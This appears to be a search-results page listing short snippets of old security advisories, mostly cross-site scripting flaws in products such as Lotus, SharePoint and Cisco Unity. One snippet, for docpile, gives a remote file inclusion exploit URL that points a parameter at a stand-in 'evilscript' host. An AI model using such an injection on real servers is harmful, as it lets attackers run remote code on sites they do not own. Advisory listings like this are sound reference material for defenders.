3566 matches found
IBM Lotus 6.x names.nsf Cross Site Scripting Vulnerability
========================================= Yaniv Miron aka "Lament" Advisory March 12, 2010 IBM Lotus 6.x names.nsf Cross Site Scripting Vulnerability ========================================= ===================== I. BACKGROUND ===================== IBM Lotus Software delivers robust collaboratio...
uCosminexus Portal Framework Cross-Site Scripting Vulnerability
Overview uCosminexus Portal Framework has a cross-site scripting vulnerability. Impact A remote attacker could make users of affected systems unknowingly execute malicious scripts. Solution Please refer to the 'Vendor Information' section for the official countermeasure and take appropriate actio...
Hacktics Advisory Feb10: Persistent XSS in Microsoft SharePoint Portal
Hacktics Research Group Security Advisory http://www.hacktics.com/view=Resources7CAdvisory By Irene Abezgauz, Hacktics. 22-Feb-2010 =========== I. Overview =========== During a penetration test performed by Hacktics' experts, a persistent cross-site scripting vulnerability was identified in the...
Lighttpd mod_fastcgi Extension CGI Variable Overwriting (CVE-2007-4727)
Lighttpd is an open source HTTP server project. Lighttpd focus on smaller memory footprint and higher runtime efficiency. The server supports an advanced feature set, including FastCGI. A variable overwriting vulnerability exists in Lighttpd FastCGI extension. A remote unauthenticated attacker ca...
You!Hostit! Template for Joomla! Remote XSS attack
Exploit for unknown platform in category web applications ================================================== You!Hostit! Template for Joomla! Remote XSS attack ================================================== Example:...
Microsoft Says Google Chrome Frame is IE Security Risk
Google’s decision to introduce a plug-in that runs Google Chrome inside Microsoft’s Internet Explorer isn’t sitting well with the folks at Redmond. The Google Chrome Frame, which is presented as a seamless way to bring Google Chrome’s open web technologies and speedy JavaScript engine to Internet...
Bandwebsite 1.5 - SQL Injection / Cross-Site Scripting
Bandwebsite Version 1.5 Sql & XSS Multiple Remote Vuln. download: http://membres.lycos.fr/fluxx/bandwebsite.php ---------------------------------------------------------- Discovered By: ZoRLu msn: [email protected] Date: 24.11.2008 Home: www.z0rlu.blogspot.com Kucuk Bir Rica: Lutfen DemolarI...
Cisco Unity多个远程安全漏洞
BUGTRAQ ID: 31642 CVECAN ID: CVE-2008-4545,CVE-2008-4544,CVE-2008-4543,CVE-2008-4542 Cisco Unity是一个语音和统一的消息平台。 Cisco Unity中存在多个安全漏洞，可能允许恶意用户泄露敏感信息、导致拒绝服务或注入恶意脚本。 1 Cisco Unity中存在跨站脚本漏洞，远程攻击者可以向数据库提供恶意数据，当下一次管理员登录并访问依赖于存储信息的页面时，就可以执行跨站脚本。 2...
AppServ Open Project < = 2.5.10 Remote XSS Vulnerability
========================================================== AppServ Open Project = 2.5.10 Remote XSS Vulnerability ========================================================== AUTHOR : CWH Underground DATE : 19 May 2008 SITE : www.citec.us APPLICATION : AppServ Open Project VERSION : = 2.5.10 VENDOR...
EsContacts 1.0 - contacts.php?msg Cross-Site Scripting
EsContacts 1.0 - contacts.php?msg Cross-Site Scripting source: https://www.securityfocus.com/bid/28825/info EsContacts is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input. Attackers may leverage these issues to execute arbitrary scri...
Preemptive Protection against Microsoft SharePoint Cross-Site Scripting (XSS) Vulnerability
A cross-site scripting XSS vulnerability exists in Microsoft Windows SharePoint. The Microsoft SharePoint products allow enterprises to organize their information in a single collaborative portal application. A remote attacker can exploit this vulnerability to run malicious scripts on an affected...
Incorrect authentication
It has been discovered that the extension ftpbrowser is doing incorrect authentication in some files, making it open for exploiting. Component Type: Third party extension. This extension is not part of the TYPO3 default installation Affected Versions: Version 0.1.2 and all versions below...
Cross Site Scripting (XSS) Vulnerability in iPlanet Messaging Server Messenger Express by "Sun"
·= Security Advisory =· Issue: Cross Site Scripting XSS Vulnerability in iPlanet Messaging Server Messenger Express by "Sun" Discovered Date: 25/09/2006 Author: Tal Argoni, LegendaryZion. talargoni at gmail.com Product Vendor: http://www.sun.com/ Details: iPlanet Messaging Server Messenger Expres...
docpile.txt
TiTLE: docpile:we v0.2.2 INITPATH Remote File Inclusion Vulnerability - Author: xoron - Class : Remote - cont@ct: x0r0nathotmaildotcom - URL: http://docpile-we.berlios.de - Exploit: http://www.site.com/path/lib/folder.class.php?INITPATH=http://evilscript?...
CVE-2006-3574
Multiple cross-site scripting XSS vulnerabilities in Hitachi Groupmax Collaboration Portal and Web Client before 07-20-/D, and uCosminexus Collaboration Portal and Forum/File Sharing before 06-20-/C, allow remote attackers to "execute malicious scripts" via unknown vectors aka HS06-014-01...
CVE-2006-3574
Multiple cross-site scripting XSS vulnerabilities in Hitachi Groupmax Collaboration Portal and Web Client before 07-20-/D, and uCosminexus Collaboration Portal and Forum/File Sharing before 06-20-/C, allow remote attackers to "execute malicious scripts" via unknown vectors aka HS06-014-01...
CVE-2006-3574: Undefined Security Weakness
Multiple cross-site scripting XSS vulnerabilities in Hitachi Groupmax Collaboration Portal and Web Client before 07-20-/D, and uCosminexus Collaboration Portal and Forum/File Sharing before 06-20-/C, allow remote attackers to "execute malicious scripts" via unknown vectors aka HS06-014-01...
Hey Hey:a few dangerous files-the vulnerability warning-the black bar safety net
We know. bat is a DOS Batch command file, we can use Notepad to edit and add some commands to run after the system will automatically one by one to execute the command. So some dangerous commands will be some people with ulterior motives written into the batch file to go, online spread sabotage,...
EvalInSandbox escape (Proxy Autoconfig, Greasemonkey) — Mozilla
Mozilla researcher mozbugra4 demonstrated that javascript run via EvalInSandbox can escape the sandbox and gain elevated privilege by calling valueOf on objects created outside the sandbox and inserted into it. Malicious scripts could use these privileges to compromise your computer or data...
